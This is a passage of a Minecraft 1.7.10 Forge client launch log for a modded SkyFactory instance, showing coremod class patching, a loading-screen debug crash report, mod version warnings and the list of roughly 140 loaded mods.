Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Launching wrapped minecraft {net.minecraft.client.main.Main} [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] Trying to patch EntityPlayer.isInBed (class: yz) [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] isInBed patch applied. Enabling sleeping bags [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Transformed [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a_original(Lnet/minecraft/inventory/Slot;)V - New Method [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Invoke Virtual [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Current code is OBFUSCATED [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found cpw.mods.fml.common.FMLCommonHandler with checksum 9D07ABF40E8390189AB4D1D4CAA86BAB [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Switching injection mode to FORGE [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.World [ ahb ] with checksum 1259399FD8CF71F9B1835D9BCDD827D9 [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.updateEntities()... [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.<init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:transform:88]: ********* INSIDE GuiIngameForge TRANSFORMER ABOUT TO PATCH: net.minecraftforge.client.GuiIngameForge [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:patchShift:200]: In renderToolHightlight [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.WorldServer [ mt ] with checksum A9B6290BB23DD7A1659115ABB503DDD8 [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:32 PM] [main/INFO]: Setting user: **MINECRAFTUSERNAME** [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.entity.projectile.EntityArrow], Method [func_70071_h_] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.entity.projectile.EntityArrow Finished. [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.item.ItemStack], Method [func_77953_t] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.item.ItemStack Finished. [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.Container [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.ContainerFurnace [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.inventory.ContainerFurnace], Method [func_82846_b] [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming net.minecraft.inventory.ContainerFurnace Finished. [16/5/2015 18:45:34 PM] [Client thread/INFO]: LWJGL Version: 2.9.1 [16/5/2015 18:45:37 PM] [Client thread/WARN] [OpenMods]: openmods.stencil.FramebufferHooks.createRenderbufferStorage(FramebufferHooks.java:24): Your potato failed to allocate nice buffer. No stencils for you. Cause: Invalid enum [16/5/2015 18:45:38 PM] [Client thread/INFO] [STDOUT]: [cpw.mods.fml.client.SplashProgress:start:100]: ---- Minecraft Crash Report ---- [16/5/2015 18:45:38 PM] // Why did you do that? [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] Time: 5/16/15 6:45 PM [16/5/2015 18:45:38 PM] Description: Loading screen debug info [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] java.lang.Throwable [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.SplashProgress.start(SplashProgress.java:99) [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.FMLClientHandler.beginMinecraftLoading(FMLClientHandler.java:190) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_71384_a(Minecraft.java:480) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_99999_d(Minecraft.java:878) [16/5/2015 18:45:38 PM] at net.minecraft.client.main.Main.main(SourceFile:148) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at java.lang.reflect.Method.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:135) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] A detailed walkthrough of the error, its code path and all known details is as follows: [16/5/2015 18:45:38 PM] --------------------------------------------------------------------------------------- [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] -- System Details -- [16/5/2015 18:45:38 PM] Details: [16/5/2015 18:45:38 PM] Minecraft Version: 1.7.10 [16/5/2015 18:45:38 PM] Operating System: Windows 7 (x86) version 6.1 [16/5/2015 18:45:38 PM] Java Version: 1.8.0_45, Oracle Corporation [16/5/2015 18:45:38 PM] Java VM Version: Java HotSpot(TM) Client VM (mixed mode), Oracle Corporation [16/5/2015 18:45:38 PM] Memory: 148240816 bytes (141 MB) / 259522560 bytes (247 MB) up to 1046937600 bytes (998 MB) [16/5/2015 18:45:38 PM] JVM Flags: 8 total; -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump -XX:-OmitStackTraceInFastThrow -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -XX:-UseAdaptiveSizePolicy -Xms256M -Xmx1024M -XX:MetaspaceSize=128M [16/5/2015 18:45:38 PM] AABB Pool Size: 0 (0 bytes; 0 MB) allocated, 0 (0 bytes; 0 MB) used [16/5/2015 18:45:38 PM] IntCache: cache: 0, tcache: 0, allocated: 0, tallocated: 0 [16/5/2015 18:45:38 PM] FML: [16/5/2015 18:45:38 PM] GL info: ' Vendor: 'Intel' Version: '2.1.0 - Build 8.15.10.2086' Renderer: 'Intel(R) HD Graphics' [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Attempting early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: MinecraftForge v10.13.3.1395 Initialized [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: minecraft:textures/font/ascii.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Replaced 183 ore recipies [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Preloading CrashReport classes [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: minecraft:textures/gui/title/mojang.png, i: 0, j: 0, size: 256, width: 256, height: 256 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.chunk.Chunk$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.EntityTracker$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.player.InventoryPlayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: fml:textures/gui/forge.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetHandlerPlayServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetworkSystem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$10 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$11 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$12 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$13 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$14 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$15 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.RenderGlobal$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureAtlasSprite$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureManager$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Completed early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal of erroring Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal of erroring Tile Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Found 0 mods from the command line. Injecting into mod discoverer [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Searching **USERSDIR**\Instances\SkyFactory\mods for mods [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Also searching **USERSDIR**\Instances\SkyFactory\mods\1.7.10 for mods [16/5/2015 18:45:48 PM] [Client thread/WARN] [DamageIndicatorsMod]: Mod DamageIndicatorsMod is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 3.2.3 [16/5/2015 18:45:53 PM] [Client thread/WARN] [ChickenChunks]: Mod ChickenChunks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.3.4.19 [16/5/2015 18:45:54 PM] [Client thread/WARN] [DragonMounts]: Mod DragonMounts is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version r41-1.7.10 [16/5/2015 18:45:55 PM] [Client thread/WARN] [EnderStorage]: Mod EnderStorage is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.7.32 [16/5/2015 18:45:57 PM] [Client thread/WARN] [ExtraUtilities]: Mod ExtraUtilities is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.2.4a [16/5/2015 18:45:58 PM] [Client thread/WARN] [ForbiddenMagic]: Mod ForbiddenMagic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.7.10-0.562 [16/5/2015 18:46:01 PM] [Client thread/WARN] [neiintegration]: Mod neiintegration is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.0.8 [16/5/2015 18:46:04 PM] [Client thread/WARN] [simplyjetpacks]: Mod simplyjetpacks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1 [16/5/2015 18:46:08 PM] [Client thread/WARN] [Translocator]: Mod Translocator is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.1.14 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Core]: Mod WR-CBE|Core is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Addons]: Mod WR-CBE|Addons is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:12 PM] [Client thread/WARN] [WR-CBE|Logic]: Mod WR-CBE|Logic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:13 PM] [Client thread/WARN] [ForgeMicroblock]: Mod ForgeMicroblock is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [ForgeMultipart]: Mod ForgeMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [McMultipart]: Mod McMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Forge Mod Loader has identified 140 mods to load [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [exastris] containing declared API package cofh.api.energy (owned by CoFHAPI) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [ExtraUtilities] containing declared API package baubles.api (owned by Baubles) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [FoodPlus] containing declared API package thaumcraft.api (owned by Thaumcraft) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [EnderIO] containing declared API package com.cricketcraft.chisel.api (owned by Chisel) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [simplyjetpacks] containing declared API package cofh.api (owned by CoFHLib) without associated API reference [16/5/2015 18:46:18 PM] [Client thread/INFO] [FML]: FML has found a non-mod file CodeChickenLib-1.7.10-1.1.3.134-universal.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at CLIENT [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at SERVER [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.network.FMLOutboundHandler with checksum CB55471D614BD5AF06AEA87A77A3014F [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Successful injection in write (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/channel/ChannelPromise;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.eventhandler.ASMEventHandler with checksum 1C68592318817E7EE853EC874A5ACBF4 [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in <init> (Ljava/lang/Object;Ljava/lang/reflect/Method;Lcpw/mods/fml/common/ModContainer;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [STDOUT]: [mods.immibis.core.ImmibisCore:initPreferredEnergySystem:198]: [Immibis Core] Preferred energy system set to: redstoneFlux [16/5/2015 18:46:33 PM] [Client thread/INFO] [Draconic Evolution]: Hello Minecraft!!! [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:36 PM] [Client thread/INFO] [TConstruct]: Natura, what are we going to do tomorrow night? [16/5/2015 18:46:36 PM] [Client thread/INFO] [Natura]: TConstruct, we're going to take over the world! [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Starting on net.minecraft.client.model.ModelBiped [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Method is func_78087_a or a for obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Descriptor is (FFFFFFLnet/minecraft/entity/Entity;)V or (FFFFFFLsa;)V dor obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Found method: a (FFFFFFLsa;)V [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] RETURN Opcode found [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Patched! [16/5/2015 18:46:41 PM] GregsLighting: creativeTab = gcewing.lighting.GregsLighting$1@1804f6e [16/5/2015 18:46:44 PM] [Client thread/INFO] [OpenMods]: openperipheral.ApiProvider.installApi(ApiProvider.java:203): OPC API v. 3.2 provideded by OpenPeripheralCore, (ApiAccess source: 